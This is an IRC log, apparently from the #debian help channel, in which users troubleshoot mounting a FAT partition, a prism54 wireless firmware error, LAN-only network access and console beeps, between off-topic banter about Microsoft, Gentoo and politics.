| 23:38.41 | PerfDave | Debian GNU/kFreeBSD, Debian GNU/HURD... |
| 23:38.47 | Flimzy | abrotman: thanks. I tried that once before.. didn't seem to work. With a clean .config, it does, however. Thank you. |
| 23:38.51 | shingouz | NOangy17EL: try mounting the hd as vfat |
| 23:38.51 | Exit83 | NOangy17EL: try this as root: dmesg | grep hd |
| 23:38.53 | abrotman | Flimzy: np |
| 23:38.54 | mdh | NOangy17EL: what happens when you try to mount that filesystem? |
| 23:39.06 | Exit83 | 2 many help at once :d |
| 23:39.08 | dwerf | did you people know that windows is 'buying' african governments in order to make africans go for windows instead of a free alternative? |
| 23:39.08 | NOangy17EL | depend |
| 23:39.09 | jess_ | Microsoft hired daniel robbins did you hear about that? |
| 23:39.12 | NOangy17EL | what i write |
| 23:39.29 | dondelelcaro | dwerf,jess_: that's great; again, it's TOTALLY OT HERE. |
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| 23:39.30 | dwerf | it's sickening |
| 23:39.37 | Exit83 | what happens if you type mount -t auto /dev/hda1 /mnt/point |
| 23:39.40 | shingouz | NOangy17EL: can you tell us what you write and what the system answers? |
| 23:39.43 | NOangy17EL | when i write correct command.. it give me another strings |
| 23:39.46 | NOangy17EL | and nothin happen |
| 23:39.55 | NOangy17EL | shin nothin! |
| 23:39.59 | jcarr | write the correct command? |
| 23:40.01 | mdh | /mode +o dondelelcaro |
| 23:40.04 | NOangy17EL | yeah |
| 23:40.05 | jcarr | versus typing it? |
| 23:40.09 | jess_ | howso? he is a big name in linux.. is this only linux help and not discussion? |
| 23:40.12 | jcarr | how do you write it? |
| 23:40.21 | NOangy17EL | i've tried in many modes |
| 23:40.25 | jcarr | jess_, that's old news |
| 23:40.29 | dondelelcaro | jess_: this is #debian; not ##linux or #gentoo. |
| 23:40.31 | jcarr | like 2 or 3 months old |
| 23:40.38 | NOangy17EL | mount /dev/hda1/ mnt/point vfat defaults |
| 23:40.46 | jcarr | no one here would think the gentoo creator is a big name in linux |
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| 23:40.53 | Exit83 | so nothing happens when you wrote mount -t auto /hda1/hda1 /mnt/point |
| 23:40.57 | mdh | NOangy17EL: that won't work on the comand line |
| 23:41.07 | NOangy17EL | yeah i've tried with mount -t too |
| 23:41.09 | PerfDave | Somebody created Gentoo? I thought it just emerged from Satan's bowels on its own accord ;) |
| 23:41.10 | shingouz | NOangy17EL: mount -t vfat /dev/hda1 /mount/point would be more like it |
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| 23:41.33 | NOangy17EL | mount /dev/hda1/ mnt/point vfat defaults userid=? groupis=? umask=022 |
| 23:41.39 | Exit83 | no |
| 23:41.44 | Exit83 | type what we say |
| 23:41.44 | jcarr | when I heard microsoft hired him, I thought "That's rich... I guess now 13 year olds will be compiling windows from scratch and proclaiming how l337 they are, with an obsession with compilation flags to boot!" |
| 23:41.48 | shingouz | NOangy17EL: did you read the manual page for mount? |
| 23:41.51 | NOangy17EL | ok |
| 23:41.57 | NOangy17EL | yeah but nothin happen |
| 23:41.58 | NOangy17EL | damn |
| 23:41.59 | NOangy17EL | :( |
| 23:42.03 | PerfDave | jcarr: Well, Windows and Gentoo are both unstable and take ages to do anything :) |
| 23:42.10 | NOangy17EL | tell me what i must write |
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| 23:42.21 | PerfDave | !tell NOangy17EL -about enter |
| 23:42.30 | mdh | NOangy17EL: if you're trying different stuff thatn what we ask you to, /leave now. we can't help you. |
| 23:42.36 | Exit83 | NOangy17EL: so nothing happened when you wrote mount -t vfat /dev/hda1 /mount/point |
| 23:42.42 | jess_ | *shrug* I'm not distrocentric I run all flavors |
| 23:42.47 | jcarr | PerfDave, lol |
| 23:42.50 | NOangy17EL | exit no |
| 23:42.55 | shingouz | NOangy17EL: how about trying mount -t vfat /dev/hda1 /mount/point |
| 23:42.57 | Exit83 | did you do it as root? |
| 23:43.07 | shingouz | !tell NOangy17EL about nicktab |
| 23:43.08 | NOangy17EL | yes |
| 23:43.25 | Exit83 | NOangy17EL: are you monting to an existing mount point? |
| 23:43.27 | mdh | PerfDave: Gentoo forgot to include the bootloader on their install cd, Windows forgot to include an operating system ... |
| 23:43.50 | PerfDave | Yeah, well, Gentoo has a curious definition of "operating" :) |
| 23:43.55 | NOangy17EL | exit i dunno.. but i think bcs that hd is on primary slave |
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| 23:44.06 | Exit83 | NOangy17EL: you misunderstood me |
| 23:44.06 | NOangy17EL | sorry primary master |
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| 23:44.19 | NOangy17EL | yes on existing point |
| 23:44.25 | NOangy17EL | u mean folder |
| 23:44.27 | abrotman | PerfDave: at least they don't waste cycles :) |
| 23:44.29 | Exit83 | NOangy17EL: if you mount a HDD you mount it to a map, in this case we are using /mount/point |
| 23:44.33 | dwerf | what is a good linux prog to connect to the msn network? |
| 23:44.41 | abrotman | amsn |
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| 23:44.44 | Exit83 | NOangy17EL: okay sp you have that richt? |
| 23:44.45 | abrotman | bittlebee |
| 23:44.45 | shingouz | NOangy17EL: directory, nto a folder |
| 23:44.50 | jess_ | doesn't gaim do that? |
| 23:44.54 | abrotman | !tell NOangy17EL about u |
| 23:45.01 | NOangy17EL | ok shing |
| 23:45.06 | shingouz | !nicktab |
| 23:45.06 | dpkg | Hitting tab on a partially typed word in your IRC-client, when referencing a nickname, will increase typing productivity by miles. For example, to address exampleUser, type exam<TAB> and your IRC client will fill in the rest. Keep hitting tab if the letters you typed match more than one nick until you get the right one. |
| 23:45.07 | Exit83 | gaim < amsn |
| 23:45.13 | jess_ | I dunno I haven't used msn in years |
| 23:45.13 | shingouz | NOangy17EL: ^^^ |
| 23:45.24 | shingouz | NOangy17EL: read what dpkg said |
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| 23:45.39 | NOangy17EL | yeah im readin |
| 23:45.45 | CT-71 | Hi |
| 23:45.47 | RProgrammer | I have debian sarge, and prism54, and madwifi (although that should not be relevant to my hardware), and a pesky Netgear WG511 (NOT 511T) |
| 23:45.47 | RProgrammer | prism54 is loaded (according to lsmod), yet the hardware shows no signs of life, wlan0 is non existant, yet ifconfig eth1 up shows a different error (SIOCSIFFLAGS: No such file or directory) |
| 23:45.57 | NOangy17EL | shingous: sorry |
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| 23:46.12 | Exit83 | NOangy17EL: so after typing the rght stuff and mounting to the right directory, there is still no data to be read in that directory, right? |
| 23:46.15 | mdh | hrm. am I better off with a pentium D or an amd64 ? |
| 23:46.17 | shingouz | NOangy17EL: type shing<tab> and see a miracle happen |
| 23:46.24 | MasterYoda | is there a package that contains the debian kernel patches for use with make-kpkg? |
| 23:46.26 | CT-71 | can someone help me with a knoppix Hard Drive Install problem???? |
| 23:46.27 | RProgrammer | And I have tried #prism54, dry as a desert |
| 23:46.32 | abrotman | mdh: i vote amd64! .. |
| 23:46.35 | RProgrammer | Can anyone help? |
| 23:46.37 | NOangy17EL | SHINGOUZ: OK |
| 23:46.39 | shingouz | CT-71: yes. #knoppix |
| 23:46.43 | CT-71 | ok |
| 23:46.45 | abrotman | prism54.org ? |
| 23:46.48 | CT-71 | let me try it |
| 23:46.51 | jess_ | RProgrammer, check the dmesg| more or dmesg| less and see if its detected |
| 23:46.51 | mdh | abrotman: I "vote" that way too, but its like $200 more |
| 23:46.55 | CT-71 | :) |
| 23:47.01 | shingouz | blessed silence <bliss> |
| 23:47.01 | NOangy17EL | exit83: yeah |
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| 23:47.05 | mdh | which I'd rather use to buy the mobo I'd need ;) |
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| 23:47.24 | abrotman | mdh: no way! |
| 23:47.27 | Exit83 | NOangy17EL: type as root: dmesg | grep hd |
| 23:47.29 | Esaj_ | what's happened to sid updates? |
| 23:47.31 | jess_ | I vote centrino power :P |
| 23:47.33 | jess_ | :P |
| 23:47.38 | NOangy17EL | exit83: i write mount/hd |
| 23:47.38 | Exit83 | NOangy17EL: and look if your HDD is detected |
| 23:47.43 | abrotman | mdh: i just built an amd64 3000+ for like $500 :) |
| 23:47.54 | abrotman | Esaj_: read your d-d-a |
| 23:48.09 | abrotman | mdh: err .. athlon64 |
| 23:48.20 | RProgrammer | prism54: request_firmware() failed for 'isl3890' |
| 23:48.20 | RProgrammer | eth1: could not upload firmware ('isl3890') |
| 23:48.21 | Phroziac | ey, i booted off the boot/root/cd drivers disks, and now i'm going to install with a cd. it wants me to select an apt repository, but, i need it to install off a cd, and i don't see an option for that anywhere? |
| 23:48.23 | jess_ | how many programs take advantage of 64 bit processing? |
| 23:48.34 | NOangy17EL | exit83: point mean a personal directory or must i write point? |
| 23:48.56 | mdh | abrotman: AU$200 more. that's like... umm... US$50 ;) |
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| 23:49.04 | Exit83 | NOangy17EL: well if you go to the directory /mount is there a directory to mount your HDD under? |
| 23:49.08 | dwerf | what is the best next thing to total commander in linux? |
| 23:49.23 | Exit83 | i dont even know what total commander is :( |
| 23:49.24 | jess_ | mc? |
| 23:49.32 | mdh | jess_: anything made in the last 10 years for any platform except M$ Windows |
| 23:49.41 | RProgrammer | jess_: |
| 23:49.41 | RProgrammer | prism54: request_firmware() failed for 'isl3890' |
| 23:49.41 | RProgrammer | eth1: could not upload firmware ('isl3890') |
| 23:49.49 | dwerf | it is a file management prog that uses left <-> right screens |
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| 23:49.59 | dwerf | with loads of options |
| 23:50.04 | NOangy17EL | exit83: no exit |
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| 23:50.08 | dwerf | what's mc? |
| 23:50.15 | jess_ | RProgrammer, I would guess you have the wrong hardware for that module or vise versa |
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| 23:50.20 | Exit83 | NOangy17EL: AHA, thats the problem i think |
| 23:50.21 | litage | how would one connect a machine to a router so that it has LAN access, but deny it internet access? |
| 23:50.23 | jess_ | midnight commander |
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| 23:50.34 | NOangy17EL | exit83: what du mean |
| 23:50.41 | RProgrammer | jess_: prism54 said it works for WG511 |
| 23:50.46 | RProgrammer | chipset |
| 23:51.01 | Exit83 | NOangy17EL: make a directory: mkdir /mount/fat32 or something you like |
| 23:51.01 | abrotman | mdh: i've not speced a P-D system .. but i can't imagine they'd be cheaper |
| 23:51.12 | jess_ | *shrug* I've never had that kind of card |
| 23:51.17 | PerfDave | litage: Either don't specify a gateway, or block its IP/MAC at the firewall? |
| 23:51.21 | jess_ | try googling that error |
| 23:51.31 | dwerf | what's the best (free) 3d-game for linux |
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| 23:51.41 | NOangy17EL | exit83: mount/fat32 or mnt/fat32 ? |
| 23:51.42 | jess_ | enemy territory |
| 23:51.44 | PerfDave | dwerf: Free as in beer or free as in speech? |
| 23:51.44 | abrotman | dwerf: happypengiun.org |
| 23:51.45 | zinx | dwerf: what's the best food? |
| 23:51.47 | shingouz | dwerf: what is the best beer? |
| 23:51.47 | jess_ | dwerf |
| 23:51.50 | RProgrammer | jess_: I am |
| 23:51.53 | abrotman | zinx: lasagna |
| 23:51.55 | RProgrammer | googling |
| 23:52.05 | litage | PerfDave: how would i not specify a gateway on the machine i want to deny internet access to? |
| 23:52.06 | Exit83 | NOangy17EL: actually, using debian it should be under /media instead of /mount |
| 23:52.13 | dwerf | what's the best president in the world? |
| 23:52.22 | abrotman | dwerf: i can tell yu the worst :) |
| 23:52.25 | Exit83 | dwerf: me |
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| 23:52.26 | PerfDave | litage: Just don't specify it. Don't put it in /etc/network/interfaces, if it's a Debian machine. |
| 23:52.27 | NOangy17EL | exit83: i've a directory called /mnt |
| 23:52.38 | dwerf | whahaha |
| 23:52.44 | NOangy17EL | exit83: i use debian 3.1 |
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| 23:52.51 | PerfDave | litage: If you want something which will protect against people having root on the machine, require a VPN for external access and don't give a key / password to that machine. |
| 23:52.56 | Exit83 | NOangy17EL: will work, then make /mnt/fat |
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| 23:53.23 | NOangy17EL | exit83: ok exit, now i reboot and try all what have u said to me... now im in win.. |
| 23:53.28 | dwerf | abrotman: would you mean mr. bush? |
| 23:53.35 | NOangy17EL | exit83: brb |
| 23:53.35 | Exit83 | NOangy17EL: why rebooott? |
| 23:53.42 | Exit83 | aaah |
| 23:53.50 | abrotman | dwerf: no .. karl rove |
| 23:53.53 | Exit83 | NOangy17EL: still in win |
| 23:54.01 | NOangy17EL | exit83: im not using debian... it's not configured... i must configured debian |
| 23:54.22 | NOangy17EL | exit83: when i will finish to configure it for connection i will use it |
| 23:54.34 | Exit83 | NOangy17EL: do you acees internet through cable or modem? |
| 23:54.42 | NOangy17EL | exit83: i must before read other partition for install package about adsl modem |
| 23:54.54 | Exit83 | NOangy17EL: aaaah |
| 23:54.59 | abrotman | dwerf: won't work |
| 23:55.01 | Exit83 | thats a pain in the ass :d |
| 23:55.01 | NOangy17EL | exit83: usb modem conexant.. i've already that packages |
| 23:55.16 | NOangy17EL | i know it's hard to use a modem on debian |
| 23:55.18 | abrotman | dwerf: nothing comes in :) |
| 23:55.21 | dwerf | abrotman: i know what you mean ... i saw the documentary about carl rove |
| 23:55.33 | abrotman | dwerf: i didn't even watch that .. but this is OT here .. |
| 23:55.34 | dobsonj | hey all, I'm going crazy here... i've disables every type of console beep on my laptop except for the one that sounds during the startup/shutdown. does anyone have any ideas? i'm running kernel 2.4.26 if that matters |
| 23:55.40 | Exit83 | NOangy17EL: its not hard once you have debian running and have access to the net lol |
| 23:55.42 | dwerf | abrotman: are you in the states? |
| 23:55.47 | abrotman | yes |
| 23:56.00 | litage | PerfDave: if i specify the machine's ip as 192.168.10.X instead of [the usual] 192.168.1.X, will (1) the machine has internet access? (2) the machine be able to use commands such as `scp` with machines that are in 192.168.1.X? |
| 23:56.03 | dwerf | abrotman: what do people know? |
| 23:56.04 | Exit83 | dobsonj: thats normal lol |
| 23:56.14 | abrotman | dobsonj: uhm .. the problem might help :) |
| 23:56.20 | NOangy17EL | exit83: brb! |
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| 23:56.31 | Exit83 | dobsonj: thats a way of your pc saying that everything went well during startup :d |
| 23:56.33 | abrotman | oh quick .. ban him while he's gone |
| 23:56.41 | PerfDave | litage: It's got nothing to do with the IP address you specify, it's got everything to do with the default gateway. |
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| 23:56.56 | PerfDave | litage: http://www.netfilter.org/ - read their basic networking information, or "TCP/IP Illustrated vol 1" |
| 23:56.58 | Exit83 | dobsonj: according to the number of beeps you can now what went wrong during POST |
| 23:57.04 | dwerf | abrotman: ello? |
| 23:57.12 | Exit83 | dobsonj: now = know |
| 23:57.15 | litage | thanks |
| 23:57.20 | abrotman | yes> |
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| 23:57.37 | abrotman | dwerf: ? |
| 23:57.45 | dwerf | abrotman: yeah? |
| 23:57.48 | abrotman | what do peple know about waht ? |
| 23:57.48 | dobsonj | Exit83, yeah but it's freakin annoying :-p I usually skim over the info during boot... and if i could unplug the speaker like i can in my desktop i would ;) |
| 23:57.58 | dwerf | abrotman: about what's going on in the us? |
| 23:58.10 | Exit83 | dobsonj: i dont really know if its possible :s |
| 23:58.22 | abrotman | dwerf: they don't care .. guns are fun |
| 23:58.27 | dwerf | abrotman: maybe you wish to spared the political chit chat... |
| 23:58.29 | dobsonj | Exit83, and I would run the 2.6 kernel and disable the pcspkr module, but the 2.6 kernel loads insanely slow on my laptop |
| 23:58.31 | dwerf | abrotman: that's ok |
| 23:58.37 | abrotman | dwerf: in this channel .. yes |
| 23:58.41 | dwerf | abrotman: but i'm just very interested |
| 23:58.44 | dwerf | abrotman: ok |
| 23:59.08 | Exit83 | dobsonj: get tje 2.6.12 sources from kernel.org and start compiling ;) |
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| 23:59.13 | abrotman | dwerf: #politics exists |
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| 23:59.27 | dwerf | abrotman: here too - i'm in the netherlands |
| 23:59.34 | dwerf | abrotman: not proud either |
| 23:59.42 | dwerf | abrotman: let's forget about all that |
| 23:59.52 | concept10 | I cant reach my apache webserver from the net, where should I start troubleshooting? |
| 23:59.56 | abrotman | dwerf: you going to the WhatTheHack ? |
